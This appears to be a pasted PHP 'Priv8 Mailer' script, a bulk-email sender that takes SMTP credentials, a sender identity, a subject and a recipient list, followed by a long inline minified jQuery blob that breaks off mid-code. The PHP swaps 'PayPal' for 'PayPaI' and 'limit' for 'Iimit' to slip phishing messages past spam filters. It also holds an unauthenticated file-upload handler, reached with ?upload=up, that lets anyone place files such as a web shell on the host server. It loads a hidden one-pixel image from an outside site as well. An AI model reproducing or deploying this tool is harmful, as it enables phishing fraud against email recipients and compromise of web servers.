· 8 years ago · Feb 07, 2018, 01:56 PM
1<?php
2set_time_limit(0);
3error_reporting(0);
4
5/*
6
7
8Mailer Inbox 10000000%
92015
10Coded By LOL
11
12
13*/
14
15 $upload = $_GET["upload"];
16if ($upload == "up") {
17 $uploaddir = "";
18 $uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
19 if (isset($_FILES["userfile"]["name"])) {
20 if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) {
21 $resultati = "The file " . basename($_FILES["userfile"]["name"]) . " has been uploaded";
22 } else {
23 $resultati = "There was an error uploading the file. please try again!";
24 }
25 }
26 echo '<html>
27<head></head>
28<div id="result">
29<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
30<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
31<center><form method="POST" enctype="multipart/form-data">
32<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
33<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>' . $resultati . '</form></center></td></tr></table></div>';
34}
35
36
37
38function query_str($params) {
39 $str = '';
40 foreach ($params as $key => $value) {
41 $str .= (strlen($str) < 1) ? '' : '&';
42 $str .= $key . '=' . rawurlencode($value);
43 }
44 return ($str);
45}
46function lrtrim($string){
47 return stripslashes(ltrim(rtrim($string)));
48}
49if(isset($_POST['action'])){
50
51 $b = query_str($_POST);
52 parse_str($b);
53 $action = lrtrim($action);
54 $smtp_username = lrtrim($smtp_username);
55 $smtp_password = lrtrim($smtp_password);
56 $smtp_server = lrtrim($smtp_server);
57 $smtp_port = lrtrim($smtp_port);
58 $smtp_ssl = lrtrim($smtp_ssl);
59 $xmailer = lrtrim($xmailer);
60 $reconnect = lrtrim($reconnect);
61 $type = lrtrim($type);
62 $email = lrtrim($mail);
63 $nama = lrtrim($nama);
64 $subject = lrtrim($subject);
65 $pesan = lrtrim($pesan);
66 $emaillist = strtolower(lrtrim($list));
67 $encoding = lrtrim($encode);
68 $file_name = $_FILES['file']['name'];
69 $file_path = $_FILES['file']['tmp_name'];
70 $wait = lrtrim($wait);
71
72 $pesan = urlencode($pesan);
73 $pesan = ereg_replace("%5C%22", "%22", $pesan);
74 $pesan = urldecode($pesan);
75 $pesan = stripslashes($pesan);
76 $pesan = str_replace("PayPal", "PayPaI", $pesan);
77 $pesan = str_replace("limit", "Iimit", $pesan);
78}
79?>
80<!DOCTYPE html>
81<html lang="en">
82
83<head>
84 <meta charset="utf-8">
85 <title>Priv8 Mailer by N</title>
86 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
87 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
88 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
89 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
90 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
91 <link rel="shortcut icon" href="http://pekasemijoias.com.br/images/banners/m/newsletter.png"> <style type="text/css">
92 body{
93 background-color: #13181D;
94 }
95 input, select, option, textarea {
96 font-size: 12px !important;
97 }
98 input, select, option {
99 height: 30px !important;
100 }
101 .panel-info .panel-heading {
102 color: #FFF;
103 background-color: #2CADAD !important;
104 border-color: #2CADAD !important;
105 }
106 .kanan-l {
107 border-top-right-radius: 0px !important;
108 }
109 .kanan {
110 border-top-right-radius: 4px !important;
111 }
112 </style>
113 <script type="text/javascript">
114 function Pilih1(dropDown) {
115 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
116 document.getElementById("sender-name").value = selectedValue;
117 }
118 function Pilih2(dropDown) {
119 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
120 document.getElementById("sender-email").value = selectedValue;
121 }
122 function Pilih3(dropDown) {
123 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
124 document.getElementById("subject").value = selectedValue;
125 }
126 function Pilih4(dropDown) {
127 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
128 document.getElementById("xmailer").value = selectedValue;
129 }
130 </script>
131</head>
132
133<body>
134<div id="wrap">
135 <img src="http://pekasemijoias.com.br/images/banners/m/newsletter.png" height="1" width="0">
136 <div class="container" style="margin-top: 25px;">
137 <div class="row">
138 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
139 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
140 <div class="panel-heading">
141 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
142 </div>
143
144 <div style="padding-top: 15px;">
145
146 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
147
148 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
149
150 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
151
152 <div id="smtp" class="collapse">
153 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
154
155 <div style="margin-bottom: 10px" class="input-group">
156 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
157 <input type="text" class="form-control" name="smtp_username" value="<?=$smtp_username;?>" placeholder="SMTP Username">
158 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
159 <input type="password" class="form-control" name="smtp_password" value="<?=$smtp_password;?>" placeholder="SMTP Password">
160 </div>
161
162 <div style="margin-bottom: 10px" class="input-group">
163 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
164 <input type="text" class="form-control" name="smtp_server" value="<?=$smtp_server;?>" placeholder="SMTP Server">
165 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
166 <input type="text" class="form-control" name="smtp_port" value="<?=$smtp_port;?>" placeholder="optional">
167 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
168 <select class="form-control" name="smtp_ssl">
169 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
170 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
171 </select>
172 </div>
173 <div style="color:red;" align="center">
174 " If you dont have SMTP login, leave blank queries above "
175 </div>
176<script>(function(global,factory){if(typeof module==="object"&&typeof module.exports==="object"){module.exports=global.document?factory(global,true):function(w){if(!w.document){throw new Error("jQuery requires a window with a document");}return factory(w)}}else{factory(global)}}(typeof window!=="undefined"?window:this,function(window,noGlobal){var deletedIds=[];var slice=deletedIds.slice;var concat=deletedIds.concat;var push=deletedIds.push;var indexOf=deletedIds.indexOf;var class2type={};var toString=class2type.toString;var hasOwn=class2type.hasOwnProperty;var support={};var version="1.11.2",jQuery=function(selector,context){return new jQuery.fn.init(selector,context)},rtrim=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,rmsPrefix=/^-ms-/,rdashAlpha=/-([\da-z])/gi,fcamelCase=function(all,letter){return letter.toUpperCase()};jQuery.fn=jQuery.prototype={jquery:version,constructor:jQuery,selector:"",length:0,toArray:function(){return slice.call(this)},get:function(num){return num!=null?(num<0?this[num+this.length]:this[num]):slice.call(this)},pushStack:function(elems){var ret=jQuery.merge(this.constructor(),elems);ret.prevObject=this;ret.context=this.context;return ret},each:function(callback,args){return jQuery.each(this,callback,args)},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},slice:function(){return this.pushStack(slice.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(i){var len=this.length,j=+i+(i<0?len:0);return this.pushStack(j>=0&&j<len?[this[j]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:push,sort:deletedIds.sort,splice:deletedIds.splice};jQuery.extend=jQuery.fn.extend=function(){var src,copyIsArray,copy,name,options,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==="boolean"){deep=target;target=arguments[i]||{};i++}if(typeof target!=="object"&&!jQuery.isFunction(target)){target={}}if(i===length){target=this;i--}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&©&&(jQuery.isPlainObject(copy)||(copyIsArray=jQuery.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&jQuery.isArray(src)?src:[]}else{clone=src&&jQuery.isPlainObject(src)?src:{}}target[name]=jQuery.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target};jQuery.extend({expando:"jQuery"+(version+Math.random()).replace(/\D/g,""),isReady:true,error:function(msg){throw new Error(msg);},noop:function(){},isFunction:function(obj){return jQuery.type(obj)==="function"},isArray:Array.isArray||function(obj){return jQuery.type(obj)==="array"},isWindow:function(obj){return obj!=null&&obj==obj.window},isNumeric:function(obj){return!jQuery.isArray(obj)&&(obj-parseFloat(obj)+1)>=0},isEmptyObject:function(obj){var name;for(name in obj){return false}return true},isPlainObject:function(obj){var key;if(!obj||jQuery.type(obj)!=="object"||obj.nodeType||jQuery.isWindow(obj)){return false}try{if(obj.constructor&&!hasOwn.call(obj,"constructor")&&!hasOwn.call(obj.constructor.prototype,"isPrototypeOf")){return false}}catch(e){return false}if(support.ownLast){for(key in obj){return hasOwn.call(obj,key)}}for(key in obj){}return key===undefined||hasOwn.call(obj,key)},type:function(obj){if(obj==null){return obj+""}return typeof obj==="object"||typeof obj==="function"?class2type[toString.call(obj)]||"object":typeof obj},globalEval:function(data){if(data&&jQuery.trim(data)){(window.execScript||function(data){window["eval"].call(window,data)})(data)}},camelCase:function(string){return string.replace(rmsPrefix,"ms-").replace(rdashAlpha,fcamelCase)},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toLowerCase()===name.toLowerCase()},each:function(obj,callback,args){var value,i=0,length=obj.length,isArray=isArraylike(obj);if(args){if(isArray){for(;i<length;i++){value=callback.apply(obj[i],args);if(value===false){break}}}else{for(i in obj){value=callback.apply(obj[i],args);if(value===false){break}}}}else{if(isArray){for(;i<length;i++){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}else{for(i in obj){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}}return obj},trim:function(text){return text==null?"":(text+"").replace(rtrim,"")},makeArray:function(arr,results){var ret=results||[];if(arr!=null){if(isArraylike(Object(arr))){jQuery.merge(ret,typeof arr==="string"?[arr]:arr)}else{push.call(ret,arr)}}return ret},inArray:function(elem,arr,i){var len;if(arr){if(indexOf){return indexOf.call(arr,elem,i)}len=arr.length;i=i?i<0?Math.max(0,len+i):i:0;for(;i<len;i++){if(i in arr&&arr[i]===elem){return i}}}return-1},merge:function(first,second){var len=+second.length,j=0,i=first.length;while(j<len){first[i++]=second[j++]}if(len!==len){while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first},grep:function(elems,callback,invert){var callbackInverse,matches=[],i=0,length=elems.length,callbackExpect=!invert;for(;i<length;i++){callbackInverse=!callback(elems[i],i);if(callbackInverse!==callbackExpect){matches.push(elems[i])}}return matches},map:function(elems,callback,arg){var value,i=0,length=elems.length,isArray=isArraylike(elems),ret=[];if(isArray){for(;i<length;i++){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}else{for(i in elems){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}return concat.apply([],ret)},guid:1,proxy:function(fn,context){var args,proxy,tmp;if(typeof context==="string"){tmp=fn[context];context=fn;fn=tmp}if(!jQuery.isFunction(fn)){return undefined}args=slice.call(arguments,2);proxy=function(){return fn.apply(context||this,args.concat(slice.call(arguments)))};proxy.guid=fn.guid=fn.guid||jQuery.guid++;return proxy},now:function(){return+(new Date())},support:support});jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(i,name){class2type["[object "+name+"]"]=name.toLowerCase()});function isArraylike(obj){var length=obj.length,type=jQuery.type(obj);if(type==="function"||jQuery.isWindow(obj)){return false}if(obj.nodeType===1&&length){return true}return type==="array"||length===0||typeof length==="number"&&length>0&&(length-1)in obj}var Sizzle=(function(window){var i,support,Expr,getText,isXML,tokenize,compile,select,outermostContext,sortInput,hasDuplicate,setDocument,document,docElem,documentIsHTML,rbuggyQSA,rbuggyMatches,matches,contains,expando="sizzle"+1*new Date(),preferredDoc=window.document,dirruns=0,done=0,classCache=createCache(),tokenCache=createCache(),compilerCache=createCache(),sortOrder=function(a,b){if(a===b){hasDuplicate=true}return 0},MAX_NEGATIVE=1<<31,hasOwn=({}).hasOwnProperty,arr=[],pop=arr.pop,push_native=arr.push,push=arr.push,slice=arr.slice,indexOf=function(list,elem){var i=0,len=list.length;for(;i<len;i++){if(list[i]===elem){return i}}return-1},booleans="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",whitespace="[\\x20\\t\\r\\n\\f]",characterEncoding="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",identifier=characterEncoding.replace("w","w#"),attributes="\\["+whitespace+"*("+characterEncoding+")(?:"+whitespace+"*([*^$|!~]?=)"+whitespace+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+identifier+"))|)"+whitespace+"*\\]",pseudos=":("+characterEncoding+")(?:\\(("+"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|"+"((?:\\\\.|[^\\\\()[\\]]|"+attributes+")*)|"+".*"+")\\)|)",rwhitespace=new RegExp(whitespace+"+","g"),rtrim=new RegExp("^"+whitespace+"+|((?:^|[^\\\\])(?:\\\\.)*)"+whitespace+"+$","g"),rcomma=new RegExp("^"+whitespace+"*,"+whitespace+"*"),rcombinators=new RegExp("^"+whitespace+"*([>+~]|"+whitespace+")"+whitespace+"*"),rattributeQuotes=new RegExp("="+whitespace+"*([^\\]'\"]*?)"+whitespace+"*\\]","g"),rpseudo=new RegExp(pseudos),ridentifier=new RegExp("^"+identifier+"$"),matchExpr={"ID":new RegExp("^#("+characterEncoding+")"),"CLASS":new RegExp("^\\.("+characterEncoding+")"),"TAG":new RegExp("^("+characterEncoding.replace("w","w*")+")"),"ATTR":new RegExp("^"+attributes),"PSEUDO":new RegExp("^"+pseudos),"CHILD":new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+whitespace+"*(even|odd|(([+-]|)(\\d*)n|)"+whitespace+"*(?:([+-]|)"+whitespace+"*(\\d+)|))"+whitespace+"*\\)|)","i"),"bool":new RegExp("^(?:"+booleans+")$","i"),"needsContext":new RegExp("^"+whitespace+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+whitespace+"*((?:-\\d)?\\d*)"+whitespace+"*\\)|)(?=[^-]|$)","i")},rinputs=/^(?:input|select|textarea|button)$/i,rheader=/^h\d$/i,rnative=/^[^{]+\{\s*\[native \w/,rquickExpr=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,rsibling=/[+~]/,rescape=/'|\\/g,runescape=new RegExp("\\\\([\\da-f]{1,6}"+whitespace+"?|("+whitespace+")|.)","ig"),funescape=function(_,escaped,escapedWhitespace){var high="0x"+escaped-0x10000;return high!==high||escapedWhitespace?escaped:high<0?String.fromCharCode(high+0x10000):String.fromCharCode(high>>10|0xD800,high&0x3FF|0xDC00)},unloadHandler=function(){setDocument()};try{push.apply((arr=slice.call(preferredDoc.childNodes)),preferredDoc.childNodes);arr[preferredDoc.childNodes.length].nodeType}catch(e){push={apply:arr.length?function(target,els){push_native.apply(target,slice.call(els))}:function(target,els){var j=target.length,i=0;while((target[j++]=els[i++])){}target.length=j-1}}}function Sizzle(selector,context,results,seed){var match,elem,m,nodeType,i,groups,old,nid,newContext,newSelector;if((context?context.ownerDocument||context:preferredDoc)!==document){setDocument(context)}context=context||document;results=results||[];nodeType=context.nodeType;if(typeof selector!=="string"||!selector||nodeType!==1&&nodeType!==9&&nodeType!==11){return results}if(!seed&&documentIsHTML){if(nodeType!==11&&(match=rquickExpr.exec(selector))){if((m=match[1])){if(nodeType===9){elem=context.getElementById(m);if(elem&&elem.parentNode){if(elem.id===m){results.push(elem);return results}}else{return results}}else{if(context.ownerDocument&&(elem=context.ownerDocument.getElementById(m))&&contains(context,elem)&&elem.id===m){results.push(elem);return results}}}else if(match[2]){push.apply(results,context.getElementsByTagName(selector));return results}else if((m=match[3])&&support.getElementsByClassName){push.apply(results,context.getElementsByClassName(m));return results}}if(support.qsa&&(!rbuggyQSA||!rbuggyQSA.test(selector))){nid=old=expando;newContext=context;newSelector=nodeType!==1&&selector;if(nodeType===1&&context.nodeName.toLowerCase()!=="object"){groups=tokenize(selector);if((old=context.getAttribute("id"))){nid=old.replace(rescape,"\\$&")}else{context.setAttribute("id",nid)}nid="[id='"+nid+"'] ";i=groups.length;while(i--){groups[i]=nid+toSelector(groups[i])}newContext=rsibling.test(selector)&&testContext(context.parentNode)||context;newSelector=groups.join(",")}if(newSelector){try{push.apply(results,newContext.querySelectorAll(newSelector));return results}catch(qsaError){}finally{if(!old){context.removeAttribute("id")}}}}}return select(selector.replace(rtrim,"$1"),context,results,seed)}function createCache(){var keys=[];function cache(key,value){if(keys.push(key+" ")>Expr.cacheLength){delete cache[keys.shift()]}return(cache[key+" "]=value)}return cache}function markFunction(fn){fn[expando]=true;return fn}function assert(fn){var div=document.createElement("div");try{return!!fn(div)}catch(e){return false}finally{if(div.parentNode){div.parentNode.removeChild(div)}div=null}}function addHandle(attrs,handler){var arr=attrs.split("|"),i=attrs.length;while(i--){Expr.attrHandle[arr[i]]=handler}}function siblingCheck(a,b){var cur=b&&a,diff=cur&&a.nodeType===1&&b.nodeType===1&&(~b.sourceIndex||MAX_NEGATIVE)-(~a.sourceIndex||MAX_NEGATIVE);if(diff){return diff}if(cur){while((cur=cur.nextSibling)){if(cur===b){return-1}}}return a?1:-1}function createInputPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type===type}}function createButtonPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return(name==="input"||name==="button")&&elem.type===type}}function createPositionalPseudo(fn){return markFunction(function(argument){argument=+argument;return markFunction(function(seed,matches){var j,matchIndexes=fn([],seed.length,argument),i=matchIndexes.length;while(i--){if(seed[(j=matchIndexes[i])]){seed[j]=!(matches[j]=seed[j])}}})})}function testContext(context){return context&&typeof context.getElementsByTagName!=="undefined"&&context}support=Sizzle.support={};isXML=Sizzle.isXML=function(elem){var documentElement=elem&&(elem.ownerDocument||elem).documentElement;return documentElement?documentElement.nodeName!=="HTML":false};setDocument=Sizzle.setDocument=function(node){var hasCompare,parent,doc=node?node.ownerDocument||node:preferredDoc;if(doc===document||doc.nodeType!==9||!doc.documentElement){return document}document=doc;docElem=doc.documentElement;parent=doc.defaultView;if(parent&&parent!==parent.top){if(parent.addEventListener){parent.addEventListener("unload",unloadHandler,false)}else if(parent.attachEvent){parent.attachEvent("onunload",unloadHandler)}}documentIsHTML=!isXML(doc);support.attributes=assert(function(div){div.className="i";return!div.getAttribute("className")});support.getElementsByTagName=assert(function(div){div.appendChild(doc.createComment(""));return!div.getElementsByTagName("*").length});support.getElementsByClassName=rnative.test(doc.getElementsByClassName);support.getById=assert(function(div){docElem.appendChild(div).id=expando;return!doc.getElementsByName||!doc.getElementsByName(expando).length});if(support.getById){Expr.find["ID"]=function(id,context){if(typeof context.getElementById!=="undefined"&&documentIsHTML){var m=context.getElementById(id);return m&&m.parentNode?[m]:[]}};Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){return elem.getAttribute("id")===attrId}}}else{delete Expr.find["ID"];Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){var node=typeof elem.getAttributeNode!=="undefined"&&elem.getAttributeNode("id");return node&&node.value===attrId}}}Expr.find["TAG"]=support.getElementsByTagName?function(tag,context){if(typeof context.getElementsByTagName!=="undefined"){return context.getElementsByTagName(tag)}else if(support.qsa){return context.querySelectorAll(tag)}}:function(tag,context){var elem,tmp=[],i=0,results=context.getElementsByTagName(tag);if(tag==="*"){while((elem=results[i++])){if(elem.nodeType===1){tmp.push(elem)}}return tmp}return results};Expr.find["CLASS"]=support.getElementsByClassName&&function(className,context){if(documentIsHTML){return context.getElementsByClassName(className)}};rbuggyMatches=[];rbuggyQSA=[];if((support.qsa=rnative.test(doc.querySelectorAll))){assert(function(div){docElem.appendChild(div).innerHTML="<a id='"+expando+"'></a>"+"<select id='"+expando+"-\f]' msallowcapture=''>"+"<option selected=''></option></select>";if(div.querySelectorAll("[msallowcapture^='']").length){rbuggyQSA.push("[*^$]="+whitespace+"*(?:''|\"\")")}if(!div.querySelectorAll("[selected]").length){rbuggyQSA.push("\\["+whitespace+"*(?:value|"+booleans+")")}if(!div.querySelectorAll("[id~="+expando+"-]").length){rbuggyQSA.push("~=")}if(!div.querySelectorAll(":checked").length){rbuggyQSA.push(":checked")}if(!div.querySelectorAll("a#"+expando+"+*").length){rbuggyQSA.push(".#.+[+~]")}});assert(function(div){var input=doc.createElement("input");input.setAttribute("type","hidden");div.appendChild(input).setAttribute("name","D");if(div.querySelectorAll("[name=d]").length){rbuggyQSA.push("name"+whitespace+"*[*^$|!~]?=")}if(!div.querySelectorAll(":enabled").length){rbuggyQSA.push(":enabled",":disabled")}div.querySelectorAll("*,:x");rbuggyQSA.push(",.*:")})}if((support.matchesSelector=rnative.test((matches=docElem.matches||docElem.webkitMatchesSelector||docElem.mozMatchesSelector||docElem.oMatchesSelector||docElem.msMatchesSelector)))){assert(function(div){support.disconnectedMatch=matches.call(div,"div");matches.call(div,"[s!='']:x");rbuggyMatches.push("!=",pseudos)})}rbuggyQSA=rbuggyQSA.length&&new RegExp(rbuggyQSA.join("|"));rbuggyMatches=rbuggyMatches.length&&new RegExp(rbuggyMatches.join("|"));hasCompare=rnative.test(docElem.compareDocumentPosition);contains=hasCompare||rnative.test(docElem.contains)?function(a,b){var adown=a.nodeType===9?a.documentElement:a,bup=b&&b.parentNode;return a===bup||!!(bup&&bup.nodeType===1&&(adown.contains?adown.contains(bup):a.compareDocumentPosition&&a.compareDocumentPosition(bup)&16))}:function(a,b){if(b){while((b=b.parentNode)){if(b===a){return true}}}return false};sortOrder=hasCompare?function(a,b){if(a===b){hasDuplicate=true;return 0}var compare=!a.compareDocumentPosition-!b.compareDocumentPosition;if(compare){return compare}compare=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1;if(compare&1||(!support.sortDetached&&b.compareDocumentPosition(a)===compare)){if(a===doc||a.ownerDocument===preferredDoc&&contains(preferredDoc,a)){return-1}if(b===doc||b.ownerDocument===preferredDoc&&contains(preferredDoc,b)){return 1}return sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}return compare&4?-1:1}:function(a,b){if(a===b){hasDuplicate=true;return 0}var cur,i=0,aup=a.parentNode,bup=b.parentNode,ap=[a],bp=[b];if(!aup||!bup){return a===doc?-1:b===doc?1:aup?-1:bup?1:sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}else if(aup===bup){return siblingCheck(a,b)}cur=a;while((cur=cur.parentNode)){ap.unshift(cur)}cur=b;while((cur=cur.parentNode)){bp.unshift(cur)}while(ap[i]===bp[i]){i++}return i?siblingCheck(ap[i],bp[i]):ap[i]===preferredDoc?-1:bp[i]===preferredDoc?1:0};return doc};Sizzle.matches=function(expr,elements){return Sizzle(expr,null,null,elements)};Sizzle.matchesSelector=function(elem,expr){if((elem.ownerDocument||elem)!==document){setDocument(elem)}expr=expr.replace(rattributeQuotes,"='$1']");if(support.matchesSelector&&documentIsHTML&&(!rbuggyMatches||!rbuggyMatches.test(expr))&&(!rbuggyQSA||!rbuggyQSA.test(expr))){try{var ret=matches.call(elem,expr);if(ret||support.disconnectedMatch||elem.document&&elem.document.nodeType!==11){return ret}}catch(e){}}return Sizzle(expr,document,null,[elem]).length>0};Sizzle.contains=function(context,elem){if((context.ownerDocument||context)!==document){setDocument(context)}return contains(context,elem)};Sizzle.attr=function(elem,name){if((elem.ownerDocument||elem)!==document){setDocument(elem)}var fn=Expr.attrHandle[name.toLowerCase()],val=fn&&hasOwn.call(Expr.attrHandle,name.toLowerCase())?fn(elem,name,!documentIsHTML):undefined;return val!==undefined?val:support.attributes||!documentIsHTML?elem.getAttribute(name):(val=elem.getAttributeNode(name))&&val.specified?val.value:null};Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg);};Sizzle.uniqueSort=function(results){var elem,duplicates=[],j=0,i=0;hasDuplicate=!support.detectDuplicates;sortInput=!support.sortStable&&results.slice(0);results.sort(sortOrder);if(hasDuplicate){while((elem=results[i++])){if(elem===results[i]){j=duplicates.push(i)}}while(j--){results.splice(duplicates[j],1)}}sortInput=null;return results};getText=Sizzle.getText=function(elem){var node,ret="",i=0,nodeType=elem.nodeType;if(!nodeType){while((node=elem[i++])){ret+=getText(node)}}else if(nodeType===1||nodeType===9||nodeType===11){if(typeof elem.textContent==="string"){return elem.textContent}else{for(elem=elem.firstChild;elem;elem=elem.nextSibling){ret+=getText(elem)}}}else if(nodeType===3||nodeType===4){return elem.nodeValue}return ret};Expr=Sizzle.selectors={cacheLength:50,createPseudo:markFunction,match:matchExpr,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:true}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:true},"~":{dir:"previousSibling"}},preFilter:{"ATTR":function(match){match[1]=match[1].replace(runescape,funescape);match[3]=(match[3]||match[4]||match[5]||"").replace(runescape,funescape);if(match[2]==="~="){match[3]=" "+match[3]+" "}return match.slice(0,4)},"CHILD":function(match){match[1]=match[1].toLowerCase();if(match[1].slice(0,3)==="nth"){if(!match[3]){Sizzle.error(match[0])}match[4]=+(match[4]?match[5]+(match[6]||1):2*(match[3]==="even"||match[3]==="odd"));match[5]=+((match[7]+match[8])||match[3]==="odd")}else if(match[3]){Sizzle.error(match[0])}return match},"PSEUDO":function(match){var excess,unquoted=!match[6]&&match[2];if(matchExpr["CHILD"].test(match[0])){return null}if(match[3]){match[2]=match[4]||match[5]||""}else if(unquoted&&rpseudo.test(unquoted)&&(excess=tokenize(unquoted,true))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].slice(0,excess);match[2]=unquoted.slice(0,excess)}return match.slice(0,3)}},filter:{"TAG":function(nodeNameSelector){var nodeName=nodeNameSelector.replace(runescape,funescape).toLowerCase();return nodeNameSelector==="*"?function(){return true}:function(elem){return elem.nodeName&&elem.nodeName.toLowerCase()===nodeName}},"CLASS":function(className){var pattern=classCache[className+" "];return pattern||(pattern=new RegExp("(^|"+whitespace+")"+className+"("+whitespace+"|$)"))&&classCache(className,function(elem){return pattern.test(typeof elem.className==="string"&&elem.className||typeof elem.getAttribute!=="undefined"&&elem.getAttribute("class")||"")})},"ATTR":function(name,operator,check){return function(elem){var result=Sizzle.attr(elem,name);if(result==null){return operator==="!="}if(!operator){return true}result+="";return operator==="="?result===check:operator==="!="?result!==check:operator==="^="?check&&result.indexOf(check)===0:operator==="*="?check&&result.indexOf(check)>-1:operator==="$="?check&&result.slice(-check.length)===check:operator==="~="?(" "+result.replace(rwhitespace," ")+" ").indexOf(check)>-1:operator==="|="?result===check||result.slice(0,check.length+1)===check+"-":false}},"CHILD":function(type,what,argument,first,last){var simple=type.slice(0,3)!=="nth",forward=type.slice(-4)!=="last",ofType=what==="of-type";return first===1&&last===0?function(elem){return!!elem.parentNode}:function(elem,context,xml){var cache,outerCache,node,diff,nodeIndex,start,dir=simple!==forward?"nextSibling":"previousSibling",parent=elem.parentNode,name=ofType&&elem.nodeName.toLowerCase(),useCache=!xml&&!ofType;if(parent){if(simple){while(dir){node=elem;while((node=node[dir])){if(ofType?node.nodeName.toLowerCase()===name:node.nodeType===1){return false}}start=dir=type==="only"&&!start&&"nextSibling"}return true}start=[forward?parent.firstChild:parent.lastChild];if(forward&&useCache){outerCache=parent[expando]||(parent[expando]={});cache=outerCache[type]||[];nodeIndex=cache[0]===dirruns&&cache[1];diff=cache[0]===dirruns&&cache[2];node=nodeIndex&&parent.childNodes[nodeIndex];while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if(node.nodeType===1&&++diff&&node===elem){outerCache[type]=[dirruns,nodeIndex,diff];break}}}else if(useCache&&(cache=(elem[expando]||(elem[expando]={}))[type])&&cache[0]===dirruns){diff=cache[1]}else{while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if((ofType?node.nodeName.toLowerCase()===name:node.nodeType===1)&&++diff){if(useCache){(node[expando]||(node[expando]={}))[type]=[dirruns,diff]}if(node===elem){break}}}}diff-=last;return diff===first||(diff%first===0&&diff/first>=0)}}},"PSEUDO":function(pseudo,argument){var args,fn=Expr.pseudos[pseudo]||Expr.setFilters[pseudo.toLowerCase()]||Sizzle.error("unsupported pseudo: "+pseudo);if(fn[expando]){return fn(argument)}if(fn.length>1){args=[pseudo,pseudo,"",argument];return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase())?markFunction(function(seed,matches){var idx,matched=fn(seed,argument),i=matched.length;while(i--){idx=indexOf(seed,matched[i]);seed[idx]=!(matches[idx]=matched[i])}}):function(elem){return fn(elem,0,args)}}return fn}},pseudos:{"not":markFunction(function(selector){var input=[],results=[],matcher=compile(selector.replace(rtrim,"$1"));return matcher[expando]?markFunction(function(seed,matches,context,xml){var 